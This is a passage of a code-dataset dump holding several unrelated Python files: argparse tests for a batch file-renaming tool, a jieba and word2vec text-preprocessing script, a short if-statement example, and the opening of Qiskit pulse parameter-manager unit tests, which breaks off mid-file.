esc_arg = bren.validate_esc(esc_arg)\n    esc = helper.escape_path(esc_path, esc_arg)\n    assert esc == esc_res\n\n\n@pytest.mark.parametrize(\"esc_errarg\", [\n    \".\",\n    \".*\"\n    \".?\"\n    \".()\"\n    \".{}\"\n])\ndef test_validate_esc_err(esc_errarg):\n    \"\"\"Validate escape argument only contains '*?[]'.\\n\n    Give an error if the characters aren't '*?[]'.\n    \"\"\"\n    with pytest.raises(argparse.ArgumentTypeError) as err:\n        esc = bren.validate_esc(esc_errarg)\n        print(esc_errarg, \"is erroneous\")\n        print(err)\n\n\n@pytest.mark.parametrize(\"glob_pattern, glob_files\", [\n    (\"dir/*\", [\"dir/file01\", \"dir/filea\", \"dir/fileb\", \"dir/filec\"]),\n    (\"dir/file[ab]\", [\"dir/filea\", \"dir/fileb\"]),\n    (\"dir/file[abc]\", [\"dir/filea\", \"dir/fileb\", \"dir/filec\"]),\n    (\"dir/file01\", [\"dir/file01\"]),\n    (\"dir/filea\", [\"dir/filea\"]),\n    (\"dir/subdir/*\", [\"dir/subdir/filea\", \"dir/subdir/fileb\", \"dir/subdir/filec\"]),\n    (\"dir/subdir/file[a]\", [\"dir/subdir/filea\"]),\n    (\"**/*\",\n        [\"dir/file01\", \"dir/filea\", \"dir/fileb\", \"dir/filec\",\n        \"dir/subdir/filea\", \"dir/subdir/fileb\", \"dir/subdir/filec\"]),\n    (\"**/file[a]\", [\"dir/filea\", \"dir/subdir/filea\"])\n])\ndef test_parser_glob(directory, glob_pattern, glob_files):\n    \"\"\"Tests for globbing filesnames \"\"\"\n    os.chdir(directory)\n    files = bren.glob_files(glob_pattern)\n    print(files)\n    assert files == glob_files\n\n\ndef test_parser_defaults():\n    \"\"\"Test the defaults of each option without arguments \"\"\"\n    args = parser.parse_args([])\n    print(args)\n    assert args.path == \"*\"\n    assert args.esc is None\n    assert args.quiet is False\n    assert args.verbose is False\n    assert args.dryrun is False\n    assert args.extension is None\n    assert args.raw is False\n    assert args.sel is False\n    assert args.sort == \"asc\"\n    assert args.prepend is None\n    assert args.postpend is None\n    assert args.bracket_remove is None\n    assert args.case is None\n    assert args.shave is None\n    assert args.slice is None\n    assert args.spaces is None\n    assert args.translate is None\n    assert args.regex is None\n    assert args.sequence is None\n\n\n@pytest.mark.parametrize(\"opt_arg, opt_res\", [\n    ([\"dir\", \"-pre\", \"bla\"], True),\n    ([\"dir\", \"-post\", \"bla\"], True),\n    ([\"dir\", \"-sp\"], True),\n    ([\"dir\", \"-tr\", \"ab\", \"cd\"], True),\n    ([\"dir\", \"-c\", \"lower\"], True),\n    ([\"dir\", \"-sl\", \"0:1\"], True),\n    ([\"dir\", \"-sh\", \"1:1\"], True),\n    ([\"dir\", \"-bracr\", \"c\"], True),\n    ([\"dir\", \"-re\", \"bla\"], True),\n    ([\"dir\", \"-seq\", \"%f\"], True),\n    ([\"dir\", \"--sort\", \"man\", \"-pre\", \"bla\"], True),\n    ([\"dir\", \"--sel\", \"-pre\", \"bla\"], True),\n    ([\"\"], False),\n    ([\"dir\", \"-v\"], False),\n    ([\"dir\", \"-q\"], False),\n    ([\"dir\", \"--dryrun\"], False),\n    ([\"dir\", \"--dryrun\", \"-v\"], False),\n    ([\"dir\", \"--dryrun\", \"-q\"], False),\n    ([\"dir\", \"--esc\"], False),\n    ([\"dir\", \"--esc\", \"-v\"], False),\n    ([\"dir\", \"--esc\", \"-q\"], False),\n    ([\"dir\", \"--raw\"], False),\n    ([\"dir\", \"--raw\", \"-v\"], False),\n    ([\"dir\", \"--raw\", \"-q\"], False),\n    ([\"dir\", \"--sort\", \"man\"], False),\n    ([\"dir\", \"--sel\"], False),\n])\ndef test_check_optional(opt_arg, opt_res):\n    \"\"\"Test which arguments must have accompanying effects\n    dryrun, quiet, verbose, path, sort, sel, esc and raw\n    should be called with an argument with renaming effects\n    \"\"\"\n    args = parser.parse_args(opt_arg)\n    chk = bren.check_optional(args)\n    assert chk == opt_res\n\n\n@pytest.mark.parametrize(\"path_arg, path_res\", [\n    # tests for expanding directories\n    (\"dir/\", \"dir/*\"),\n    (\"dir\", \"dir/*\"),\n    (\"dir/subdir\", \"dir/subdir/*\"),\n    # not directories, don't change anything\n    (\"dir/filea\", \"dir/filea\"),\n    (\"dir/subdir/filea\", \"dir/subdir/filea\")\n])\ndef test_expand_dir(directory, path_arg, path_res):\n    \"\"\"Test directory expansion with directories and files \"\"\"\n    os.chdir(directory)\n    res = bren.expand_dir(path_arg)\n    print(res)\n    assert res == path_res\n\n\n@pytest.mark.parametrize(\"ext_errarg\", [\n    \"/ext\",\n    \"e/xt\",\n    \"ex/t\",\n    \"/ex/t\",\n    r\"\\ext\",\n    r\"e\\xt\",\n    r\"ex\\t\",\n    r\"\\ex\\t\"\n])\ndef test_validate_ext(ext_errarg):\n    \"\"\"Validate extension argument does not contain '/' character \"\"\"\n    with pytest.raises(argparse.ArgumentTypeError) as err:\n        ext = bren.validate_ext(ext_errarg)\n        print(ext_errarg, \"is erroneous\")\n        print(err)\n\n\n@pytest.mark.parametrize(\"tr_arg\", [\n    ([\"ab\", \"cd\"]),\n    ([\"cd\", \"cd\"])\n])\ndef test_parser_translate(tr_arg):\n    \"\"\"Test translate argument returns a tuple of values  \"\"\"\n    args = parser.parse_args([\"-tr\", *tr_arg])\n    print(args.translate)\n    assert args.translate == tuple(tr_arg)\n\n\n@pytest.mark.parametrize(\"tr_errarg\", [\n    ([\"\"]),\n    ([\"ab\"]),\n    ([\"ab\", \"cde\"]),\n    ([\"abc\", \"de\"])\n])\ndef test_parser_translate_err(tr_errarg):\n    \"\"\"Test translate argument errors\\n\n    Give an error if:\\n\n    -   both values are empty\n    -   argument lengths must be equal\n    \"\"\"\n    with pytest.raises(SystemExit) as err:\n        args = parser.parse_args([\"-tr\", *tr_errarg])\n        print(tr_errarg, \"is erroneous\")\n        assert err.type == SystemExit\n\n\n@pytest.mark.parametrize(\"sl_arg, sl_res\", [\n    ([\"1\"], [None, 1, None]),\n    ([\"1:\"], [1, None, None]),\n    ([\"1:2\"], [1, 2, None]),\n    ([\"1:2:\"], [1, 2, None]),\n    ([\"1:2:3\"], [1, 2, 3]),\n    ([\" 1 \"], [None, 1, None]),\n    ([\" 1: \"], [1, None, None]),\n    ([\"1: 2\"], [1, 2, None]),\n    ([\"1:2 \"], [1, 2, None]),\n    ([\"1 :2: 3 \"], [1, 2, 3]),\n    ([\":1\"], [None, 1, None]),\n    ([\":1:\"], [None, 1, None]),\n    ([\":1:2\"], [None, 1, 2]),\n    ([\"1::2\"], [1, None, 2]),\n    ([\":1:2\"], [None, 1, 2]),\n    ([\"::2\"], [None, None, 2])\n])\ndef test_parser_slice(sl_arg, sl_res):\n    \"\"\"Test slice argument returns correct slice object \"\"\"\n    args = parser.parse_args([\"-sl\", *sl_arg])\n    sl = slice(*sl_res)\n    assert args.slice == sl\n\n\n@pytest.mark.parametrize(\"sl_errarg\", [\n    ([\"\"]),\n    ([\"1:2:1:\"]),\n    ([\"1:2:1:2\"]),\n    ([\"a\"]),\n    ([\"a:\"]),\n    ([\"1:a\"]),\n    ([\"1:1:a\"])\n])\ndef test_parser_slice_err(sl_errarg):\n    \"\"\"Test slice argument errors\\n\n    Give an error if:\\n\n    -   argument value is empty ('')\n    -   cannot convert to slice object (too many arguments)\n    -   value is not integer\n    \"\"\"\n    with pytest.raises(SystemExit) as err:\n        args = parser.parse_args([\"-sl\", *sl_errarg])\n        print(sl_errarg, \"is erroneous\")\n        assert err.type == SystemExit\n\n\n@pytest.mark.parametrize(\"sh_arg, sh_res\", [\n    (\"1\", (slice(1, None, None), slice(None))),\n    (\"1:\", (slice(1, None, None), slice(None))),\n    (\":1\", (slice(None), slice(None, -1, None))),\n    (\"1:1\", (slice(1, None, None), slice(None, -1, None))),\n    (\"2:2\", (slice(2, None, None), slice(None, -2, None)))\n])\ndef test_parser_shave(sh_arg, sh_res):\n    \"\"\"Test shave argument returns correct shave object \"\"\"\n    args = parser.parse_args([\"-sh\", sh_arg])\n    head, tail = sh_res\n    assert args.shave == (head, tail)\n\n\n@pytest.mark.parametrize(\"sh_errarg\", [\n    ([\"\"]),\n    ([\":\"]),\n    ([\"1:2:\"])\n])\ndef test_parser_shave_err(sh_errarg):\n    \"\"\"Test shave argument errors\\n\n    Give an error if:\\n\n    -   argument value is empty ('')\n    -   more than two values\n    -   non-numeric character\n    -   both values are None\n    -   any values are negative\n    \"\"\"\n    with pytest.raises(SystemExit) as err:\n        args = parser.parse_args([\"-sh\", *sh_errarg])\n        print(sh_errarg, \"is erroneous\")\n        assert err.type == SystemExit\n\n\n# tests for reg_arg, reg_res\n\n\n@pytest.mark.parametrize(\"reg_errarg\", [\n    ([\"\"]),\n    ([\"\", \"reg\"]),\n    ([\"lecture\", \"lec\", \"a\"]),\n    ([\"lecture\", \"lec\", \"1\", \"2\"])\n    # add more regex tests...\n])\ndef test_parser_regex_err(reg_errarg):\n    \"\"\"Test regular expression argument errors\\n\n    Give an error if:\\n\n    -   pattern argument is empty ('')\n    -   no parguments/too many arguments (>3)\n    -   regex/sre compile error\n    -   if value is not an integer >= 0\n    \"\"\"\n    with pytest.raises(SystemExit) as err:\n        args = parser.parse_args([\"-re\", *reg_errarg])\n        print(reg_errarg, \"is erroneous\")\n        assert err.type == SystemExit\n\n\n@pytest.mark.parametrize(\"bracr_arg, bracr_res\", [\n    ([\"a\"], (\"a\", 0)),\n    ([\"r\"], (\"r\", 0)),\n    ([\"s\"], (\"s\", 0)),\n    ([\"c\"], (\"c\", 0)),\n    ([\"c\", \"2\"], (\"c\", 2)),\n    ([\"arcs\"], (\"arcs\", 0)),\n    ([\"arcs\", \"2\"], (\"arcs\", 2)),\n    ([\"aarcs\"], (\"arcs\", 0)),\n    ([\"rrcs\"], (\"rcs\", 0)),\n    ([\"csscsrrr\"], (\"csr\", 0))\n])\ndef test_parser_bracket(bracr_arg, bracr_res):\n    \"\"\"Test bracket remove argument returns appropriate tuple \"\"\"\n    args = parser.parse_args([\"-bracr\", *bracr_arg])\n    val1, val2 = bracr_res\n    assert args.bracket_remove == (val1, val2)\n\n\n@pytest.mark.parametrize(\"bracr_errarg\", [\n    ([\"squiggle\"]),\n    ([\"bracket\"]),\n    ([\"c\", \"curly\"]),\n    ([\"arcz\", \"0\"]),\n    ([\"curly\", \"1\"]),\n    ([\"arc\", \"round\"]),\n    ([\"curly\", \"round\", \"square\"])\n])\ndef test_parser_bracket_err(bracr_errarg):\n    \"\"\"Test bracket remove argument error\\n\n    Give an error if:\\n\n    -   too many arguments (>2)\n    -   invalid bracket type ('', other...)\n    -   bracket target is not an integer >= 0\n    \"\"\"\n    with pytest.raises(SystemExit) as err:\n        args = parser.parse_args([\"-bracr\", *bracr_errarg])\n        print(bracr_errarg, \"is erroneous\")\n        assert err.type == SystemExit\n\n\n@pytest.mark.parametrize(\"seq_errarg\", [\n    ([\"%na\"]),\n    ([\"%n2:1:4:1:\"]),\n    ([\"%n2:1:4:2:1\"]),\n    ([\"%n-1:1:4\"]),\n    ([\"%n:-1:\"]),\n    ([\"%ab\"]),\n    ([\"%a-:a:b\"]),\n    ([\"%a:1\"]),\n    ([\"%a:b:1\"]),\n    ([\"%a:%b:1\"])\n])\ndef test_parser_sequence_err(seq_errarg):\n    \"\"\"Test sequence argument errors\n    Raise argument if sequence is incorrect\n    \"\"\"\n    with pytest.raises(SystemExit) as err:\n        args = parser.parse_args([\"-seq\", *seq_errarg])\n        print(seq_errarg, \"is errorneous\")\n        assert err.type == SystemExit\n","repo_name":"matvign/batchrenamer","sub_path":"tests/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":11098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"34961198722","text":"#-*-coding:utf-8*-\n\nfrom gensim.models import word2vec\nimport jieba\nimport re\nimport os\nimport json\nimport numpy as np\nDIRNAME = '../../data/baike/'\n\ndef train_word2vect():\n\tsentences = json.load(open(os.path.join(DIRNAME, \"baike_sentences.json\"), \"r\"))\n\tmodel = word2vec.Word2Vec(sentences, size=120)\n\tmodel.save(\"word2vec.bin\")\n\ndef gen_word_index():\n\t model = word2vec.Word2Vec.load('word2vec.bin')\n\t print(type(model))\n\t print(model['中国'])\n\t for word, vec in model.items():\n\t \tprint(word)\n\ndef get_word_index():\n\tword_index = json.load(open(os.path.join(DIRNAME, 'baike_word_index.json')))\n\treturn word_index\ndef gen_text2vector():\n\tintab = \"【】 ：: [].。，,“\\\"、；;\"\n\touttab = len(intab) * \" \"\n\ttrantab = str.maketrans(intab, outtab)\n\tword_index = get_word_index()\n\th_description_vs = []\n\tt_description_vs = []\n\tlabels = []\n\tr_vs = []\n\twith open(os.path.join(DIRNAME, 'train_with_description_seg.json'), \"r\") as f:\n\t\tfor i, l in enumerate(f):\n\n\t\t\tl = json.loads(l)\n\t\t\th_description_v = []\n\t\t\th_description = l['h_description']\n\t\t\t\n\t\t\tfor sentence in h_description:\n\t\t\t\tfor word in sentence:\n\t\t\t\t\ttry:\n\t\t\t\t\t\twi = word_index[word]\n\t\t\t\t\texcept:\n\n\t\t\t\t\t\twi = 0\n\t\t\t\t\th_description_v.append(wi)\n\t\t\th_description_vs.append(h_description_v)\n\n\t\t\tt_description_v = []\n\t\t\tt_description = l['t_description']\n\t\t\tfor sentence in t_description:\n\t\t\t\tfor word in sentence:\n\t\t\t\t\ttry:\n\t\t\t\t\t\twi = word_index[word]\n\t\t\t\t\texcept:\n\t\t\t\t\t\twi = 0\n\t\t\t\t\tt_description_v.append(wi)\n\t\t\tt_description_vs.append(t_description_v)\n\t\t\tr = \"\".join(l['r'].translate(trantab).split())\n\t\t\tr_v = []\n\t\t\tfor word in jieba.cut(r):\n\t\t\t\ttry:\n\t\t\t\t\twi = word_index[word]\n\t\t\t\texcept:\n\t\t\t\t\twi = 0\n\t\t\t\tr_v.append(wi)\n\t\t\tr_vs.append(r_v)\n\t\t\tlabels.append( l['label'])\n\tnp.save(\"train_h_description.npy\", h_description_vs)\n\tnp.save(\"train_t_description.npy\", t_description_vs)\n\tnp.save(\"train_r.npy\", r_vs)\n\tnp.save(\"train_label.npy\", labels)\n\ndef gen_test2vector():\n\tintab = \"【】 ：: [].。，,“\\\"、；;\"\n\touttab = len(intab) * \" \"\n\ttrantab = str.maketrans(intab, outtab)\n\tword_index = get_word_index()\n\th_description_vs = []\n\tr_vs = []\n\tc_description_vs = []\n\tcandidate_vs = []\n\tt_labels = []\n\t\n\twith open(os.path.join(DIRNAME, 'test_with_candidate_with_description_seg.json'), \"r\") as f:\n\t\tfor i, l in enumerate(f):\n\t\t\tl = json.loads(l)\n\t\t\th_description_v = []\n\t\t\th_description = l['h_description']\n\t\t\tfor sentence in h_description:\n\t\t\t\tfor word in sentence:\n\t\t\t\t\ttry:\n\t\t\t\t\t\twi = word_index[word]\n\t\t\t\t\texcept:\n\t\t\t\t\t\twi = 0\n\t\t\t\t\th_description_v.append(wi)\n\t\t\tcandidates = l['candidates']\n\t\t\tcandidate_v = []\n\t\t\tfor candidate in candidates:\n\t\t\t\tc_description_v = []\n\t\t\t\tcandidate_v.append(int(candidate['c']))\n\t\t\t\tfor sentence in candidate['c_description']:\n\t\t\t\t\tfor word in sentence:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\twi = word_index[word]\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\twi = 0\n\t\t\t\t\t\tc_description_v.append(wi)\n\t\t\t\th_description_vs.append(h_description_v)\n\t\t\t\tc_description_vs.append(c_description_v)\n\t\t\tcandidate_vs.append(candidate_v)\n\t\t\tt_labels.append(int(l['t']))\n\t\t\tr = \"\".join(l['r'].translate(trantab).split())\n\t\t\tr_v = []\n\t\t\tfor word in jieba.cut(r):\n\t\t\t\ttry:\n\t\t\t\t\twi = word_index[word]\n\t\t\t\texcept:\n\t\t\t\t\twi = 0\n\t\t\t\tr_v.append(wi)\n\t\t\tr_vs.append(r_v)\n\tnp.save(\"test_h_description.npy\", h_description_vs)\n\tnp.save(\"test_candidate_description.npy\", c_description_vs)\n\tnp.save(\"test_r.npy\", r_vs)\n\tnp.save(\"test_candidate.npy\", candidate_vs)\n\tnp.save(\"test_t_label.npy\", t_labels)\n\ndef word_seg():\n\tcorpus = []\n\tsentences = []\n\tjieba.enable_parallel(40)\n\tword_list = []\n\twith open(os.path.join(DIRNAME, \"baike.json\"), \"r\") as f:\n\t\tfor i, l in enumerate(f):\n\t\t\tprint(i)\n\t\t\tentity = json.loads(l)\n\t\t\tdescription = entity['description']\n\t\t\tdescription_seg = []\n\t\t\tsentence_list = re.split(u'。|！|？|\\?|!|', description)\n\t\t\tfor sentence in sentence_list:\n\t\t\t\tcur_word_list = list(jieba.cut(sentence))\n\t\t\t\tdescription_seg.append(cur_word_list)\n\t\t\t\tword_list += cur_word_list\n\t\t\t\tsentences.append(cur_word_list)\n\t\t\tentity['description'] = description_seg\n\t\t\tcorpus.append(entity)\n\twith open(os.path.join(DIRNAME, \"baike_seg.json\"), \"w\") as f:\n\t\tjson.dump(corpus, f)\n\twith open(os.path.join(DIRNAME, \"baike_sentences.json\"), \"w\") as f:\n\t\tjson.dump(sentences, f)\n\tword_list = list(set(word_list))\n\tword_list.insert(0,0)\n\twith open(os.path.join(DIRNAME, \"baike_word_list.json\"), \"w\") as f:\n\t\tjson.dump(word_list, f)\n\tword_index = {}\n\tfor i, word in enumerate(word_list):\n\t\tword_index[word] = i\n\twith open(os.path.join(DIRNAME, \"baike_word_index.json\"), \"w\") as f:\n\t\tjson.dump(word_index, f)\ndef word_seg4train():\n\t# corpus = []\n\t# sentences = []\n\t# jieba.enable_parallel(40)\n\t# word_list = []\n\tprint(\"start loading ... \")\n\tentities = json.load(open(os.path.join(DIRNAME, \"train_with_description.json\"), \"r\"))\n\tprint(\"end  loading .. \")\n\twith open(os.path.join(DIRNAME, \"train_with_description_seg.json\"), \"w\") as f:\n\t\tfor i, entity in enumerate(entities):\n\t\t\tprint(i)\n\t\t\tif i % 5 in [2,3,4]:\n\t\t\t\tcontinue\n\t\t\tfor key in ['h_description', 't_description']:\n\t\t\t\tdescription = entity[key]\n\t\t\t\tdescription_seg = []\n\t\t\t\tsentence_list = re.split(u'。|！|？|\\?|!|', description)\n\t\t\t\tfor sentence in sentence_list:\n\t\t\t\t\tcur_word_list = list(jieba.cut(sentence))\n\t\t\t\t\tdescription_seg.append(cur_word_list)\n\t\t\t\t\t# word_list += cur_word_list\n\t\t\t\t\t# sentences.append(cur_word_list)\n\t\t\t\tentity[key] = description_seg\n\t\t\tf.write(json.dumps(entity) + \"\\n\")\t\n\t# with open(os.path.join(DIRNAME, \"train_sentences.json\"), \"w\") as f:\n\t# \tjson.dump(sentences, f)\n\t# word_list = list(set(word_list))\n\t# word_list.insert(0,0)\n\t# with open(os.path.join(DIRNAME, \"train_word_list.json\"), \"w\") as f:\n\t# \tjson.dump(word_list, f)\n\t# word_index = {}\n\t# for i, word in enumerate(word_list):\n\t# \tword_index[word] = i\n\t# with open(os.path.join(DIRNAME, \"train_word_index.json\"), \"w\") as f:\n\t# \tjson.dump(word_index, f)\ndef word_seg4test():\n\tprint(\"start loading ... \")\n\ttest_samples = []\n\twith open(os.path.join(DIRNAME, \"test_with_candidate_with_description.json\"), \"r\") as f:\n\t\tfor l in f:\n\t\t\ttest_sample = json.loads(l)\n\t\t\ttest_samples.append(test_sample)\n\tprint(\"end  loading .. \")\n\twith open(os.path.join(DIRNAME, \"test_with_candidate_with_description_seg.json\"), \"w\") as f:\n\t\tfor test_sample in  test_samples:\n\t\t\tfor key in ['h_description', 't_description']:\n\t\t\t\tdescription = test_sample[key]\n\t\t\t\tdescription_seg = []\n\t\t\t\tsentence_list = re.split(u'。|！|？|\\?|!|', description)\n\t\t\t\tfor sentence in sentence_list:\n\t\t\t\t\tcur_word_list = list(jieba.cut(sentence))\n\t\t\t\t\tdescription_seg.append(cur_word_list)\n\t\t\t\ttest_sample[key] = description_seg\n\t\t\tfor i, candidate in enumerate(test_sample['candidates']):\n\t\t\t\tdescription = candidate['c_description']\n\t\t\t\tdescription_seg = []\n\t\t\t\tsentence_list = re.split(u'。|！|？|\\?|!|', description)\n\t\t\t\tfor sentence in sentence_list:\n\t\t\t\t\tcur_word_list = list(jieba.cut(sentence))\n\t\t\t\t\tdescription_seg.append(cur_word_list)\n\t\t\t\ttest_sample['candidates'][i]['c_description'] = description_seg\n\t\t\tf.write(json.dumps(test_sample) + \"\\n\")\ndef gen_embedding_matrix():\n\tmodel = word2vec.Word2Vec.load('word2vec.bin')\n\tword_index = json.load(open(os.path.join(DIRNAME, \"baike_word_index.json\"), \"r\"))\n\tembedding_matrix = np.zeros((len(word_index), 120))\n\tfor word, i in word_index.items():\n\t\t\n\t\ttry:\n\t\t\tembedding_vector = model[word]\n\t\texcept:\n\t\t\tembedding_vector = None\n\t\tif  embedding_vector is not None:\n\t\t\tembedding_matrix[i] = embedding_vector\n\tprint(embedding_matrix[0])\n\tnp.save('embedding_matrix.npy', embedding_matrix)\n\nif __name__ == \"__main__\":\n\tgen_test2vector()\n\n\n","repo_name":"zhangshaohua950618/attribute2relation","sub_path":"models/cnn/process_word2vec.py","file_name":"process_word2vec.py","file_ext":"py","file_size_in_byte":7538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"16538593756","text":"number = 5\nif number == 5:\n    print('Number is five')\nelse:\n    print('Number is {0}'.format(number))\n\nis_java_course = False\npython_course = False\n\nif python_course or (not is_java_course):\n    print('It is a python course')\n\n# ternary if\na = 1\nb = 2\nprint('bigger' if a > b else 'smaller')","repo_name":"BorislavBorisov22/Python-GettingStarted","sub_path":"python_introduction/if_statements.py","file_name":"if_statements.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26682855537","text":"from copy import deepcopy\nfrom unittest.mock import patch\n\nimport numpy as np\n\nfrom qiskit import pulse\nfrom qiskit.circuit import Parameter\nfrom qiskit.pulse.exceptions import PulseError, UnassignedDurationError\nfrom qiskit.pulse.parameter_manager import ParameterGetter, ParameterSetter\nfrom qiskit.pulse.transforms import AlignEquispaced, AlignLeft, inline_subroutines\nfrom qiskit.test import QiskitTestCase\n\n\nclass ParameterTestBase(QiskitTestCase):\n    \"\"\"A base class for parameter manager unittest, providing test schedule.\"\"\"\n\n    def setUp(self):\n        \"\"\"Just some useful, reusable Parameters, constants, schedules.\"\"\"\n        super().setUp()\n\n        self.amp1_1 = Parameter(\"amp1_1\")\n        self.amp1_2 = Parameter(\"amp1_2\")\n        self.amp2 = Parameter(\"amp2\")\n        self.amp3 = Parameter(\"amp3\")\n\n        self.dur1 = Parameter(\"dur1\")\n        self.dur2 = Parameter(\"dur2\")\n        self.dur3 = Parameter(\"dur3\")\n\n        self.parametric_waveform1 = pulse.Gaussian(\n            duration=self.dur1, amp=self.amp1_1 + self.amp1_2, sigma=self.dur1 / 4\n        )\n\n        self.parametric_waveform2 = pulse.Gaussian(\n            duration=self.dur2, amp=self.amp2, sigma=self.dur2 / 5\n        )\n\n        self.parametric_waveform3 = pulse.Gaussian(\n            duration=self.dur3, amp=self.amp3, sigma=self.dur3 / 6\n        )\n\n        self.ch1 = Parameter(\"ch1\")\n        self.ch2 = Parameter(\"ch2\")\n        self.ch3 = Parameter(\"ch3\")\n\n        self.d1 = pulse.DriveChannel(self.ch1)\n        self.d2 = pulse.DriveChannel(self.ch2)\n        self.d3 = pulse.DriveChannel(self.ch3)\n\n        self.phi1 = Parameter(\"phi1\")\n        self.phi2 = Parameter(\"phi2\")\n        self.phi3 = Parameter(\"phi3\")\n\n        self.meas_dur = Parameter(\"meas_dur\")\n        self.mem1 = Parameter(\"s1\")\n        self.reg1 = Parameter(\"m1\")\n\n        self.context_dur = Parameter(\"context_dur\")\n\n        # schedule under test\n        subroutine = pulse.ScheduleBlock(alignment_context=AlignLeft())\n        subroutine += pulse.ShiftPhase(self.phi1, self.d1)\n        subroutine += pulse.Play(self.parametric_waveform1, self.d1)\n\n        sched = pulse.Schedule()\n        sched += pulse.ShiftPhase(self.phi3, self.d3)\n\n        long_schedule = pulse.ScheduleBlock(\n            alignment_context=AlignEquispaced(self.context_dur), name=\"long_schedule\"\n        )\n\n        long_schedule += subroutine\n        long_schedule += pulse.ShiftPhase(self.phi2, self.d2)\n        long_schedule += pulse.Play(self.parametric_waveform2, self.d2)\n        with self.assertWarns(DeprecationWarning):\n            long_schedule += pulse.Call(sched)\n        long_schedule += pulse.Play(self.parametric_waveform3, self.d3)\n\n        long_schedule += pulse.Acquire(\n            self.meas_dur,\n            pulse.AcquireChannel(self.ch1),\n            mem_slot=pulse.MemorySlot(self.mem1),\n            reg_slot=pulse.RegisterSlot(self.reg1),\n        )\n\n        self.test_sched = long_schedule\n\n\nclass TestParameterGetter(ParameterTestBase):\n    \"\"\"Test getting parameters.\"\"\"\n\n    def test_get_parameter_from_channel(self):\n        \"\"\"Test get parameters from channel.\"\"\"\n        test_obj = pulse.DriveChannel(self.ch1 + self.ch2)\n\n        visitor = ParameterGetter()\n        visitor.visit(test_obj)\n\n        ref_params = {self.ch1, self.ch2}\n\n        self.assertSetEqual(visitor.parameters, ref_params)\n\n    def test_get_parameter_from_pulse(self):\n        \"\"\"Test get parameters from pulse instruction.\"\"\"\n        test_obj = self.parametric_waveform1\n\n        visitor = ParameterGetter()\n        visitor.visit(test_obj)\n\n        ref_params = {self.amp1_1, self.amp1_2, self.dur1}\n\n        self.assertSetEqual(visitor.parameters, ref_params)\n\n    def test_get_parameter_from_acquire(self):\n        \"\"\"Test get parameters from acquire instruction.\"\"\"\n        test_obj = pulse.Acquire(16000, pulse.AcquireChannel(self.ch1), pulse.MemorySlot(self.ch1))\n\n        visitor = ParameterGetter()\n        visitor.visit(test_obj)\n\n        ref_params = {self.ch1}\n\n        self.assertSetEqual(visitor.parameters, ref_params)\n\n    def test_get_parameter_from_inst(self):\n        \"\"\"Test get parameters from instruction.\"\"\"\n        test_obj = pulse.ShiftPhase(self.phi1 + self.phi2, pulse.DriveChannel(0))\n\n        visitor = ParameterGetter()\n        visitor.visit(test_obj)\n\n        ref_params = {self.phi1, self.phi2}\n\n        self.assertSetEqual(visitor.parameters, ref_params)\n\n    def test_get_parameter_from_call(self):\n        \"\"\"Test get parameters from instruction.\"\"\"\n        sched = pulse.Schedule()\n        sched += pulse.ShiftPhase(self.phi1, self.d1)\n\n        with self.assertWarns(DeprecationWarning):\n            test_obj = pulse.Call(subroutine=sched)\n\n        visitor = ParameterGetter()\n        visitor.visit(test_obj)\n\n        ref_params = {self.phi1, self.ch1}\n\n        self.assertSetEqual(visitor.parameters, ref_params)\n\n    def test_with_function(self):\n        \"\"\"Test ParameterExpressions formed trivially in a function.\"\"\"\n\n        def get_shift(variable):\n            return variable - 1\n\n        test_obj = pulse.ShiftPhase(get_shift(self.phi1), self.d1)\n\n        visitor = ParameterGetter()\n        visitor.visit(test_obj)\n\n        ref_params = {self.phi1, self.ch1}\n\n        self.assertSetEqual(visitor.parameters, ref_params)\n\n    def test_get_parameter_from_alignment_context(self):\n        \"\"\"Test get parameters from alignment context.\"\"\"\n        test_obj = AlignEquispaced(duration=self.context_dur + self.dur1)\n\n        visitor = ParameterGetter()\n        visitor.visit(test_obj)\n\n        ref_params = {self.context_dur, self.dur1}\n\n        self.assertSetEqual(visitor.parameters, ref_params)\n\n    def test_get_parameter_from_complex_schedule(self):\n        \"\"\"Test get parameters from complicated schedule.\"\"\"\n        test_block = deepcopy(self.test_sched)\n\n        visitor = ParameterGetter()\n        visitor.visit(test_block)\n\n        self.assertEqual(len(visitor.parameters), 17)\n\n\nclass TestParameterSetter(ParameterTestBase):\n    \"\"\"Test setting parameters.\"\"\"\n\n    def test_set_parameter_to_channel(self):\n        \"\"\"Test set parameters from channel.\"\"\"\n        test_obj = pulse.DriveChannel(self.ch1 + self.ch2)\n\n        value_dict = {self.ch1: 1, self.ch2: 2}\n\n        visitor = ParameterSetter(param_map=value_dict)\n        assigned = visitor.visit(test_obj)\n\n        ref_obj = pulse.DriveChannel(3)\n\n        self.assertEqual(assigned, ref_obj)\n\n    def test_set_parameter_to_pulse(self):\n        \"\"\"Test set parameters from pulse instruction.\"\"\"\n        test_obj = self.parametric_waveform1\n\n        value_dict = {self.amp1_1: 0.1, self.amp1_2: 0.2, self.dur1: 160}\n\n        visitor = ParameterSetter(param_map=value_dict)\n        assigned = visitor.visit(test_obj)\n\n        ref_obj = pulse.Gaussian(duration=160, amp=0.3, sigma=40)\n\n        self.assertEqual(assigned, ref_obj)\n\n    def test_set_parameter_to_acquire(self):\n        \"\"\"Test set parameters to acquire instruction.\"\"\"\n        test_obj = pulse.Acquire(16000, pulse.AcquireChannel(self.ch1), pulse.MemorySlot(self.ch1))\n\n        value_dict = {self.ch1: 2}\n\n        visitor = ParameterSetter(param_map=value_dict)\n        assigned = visitor.visit(test_obj)\n\n        ref_obj = pulse.Acquire(16000, pulse.AcquireChannel(2), pulse.MemorySlot(2))\n\n        self.assertEqual(assigned, ref_obj)\n\n    def test_set_parameter_to_inst(self):\n        \"\"\"Test get parameters from instruction.\"\"\"\n        test_obj = pulse.ShiftPhase(self.phi1 + self.phi2, pulse.DriveChannel(0))\n\n        value_dict = {self.phi1: 0.123, self.phi2: 0.456}\n\n        visitor = ParameterSetter(param_map=value_dict)\n        assigned = visitor.visit(test_obj)\n\n        ref_obj = pulse.ShiftPhase(0.579, pulse.DriveChannel(0))\n\n        self.assertEqual(assigned, ref_obj)\n\n    def test_set_parameter_to_call(self):\n        \"\"\"Test get parameters from 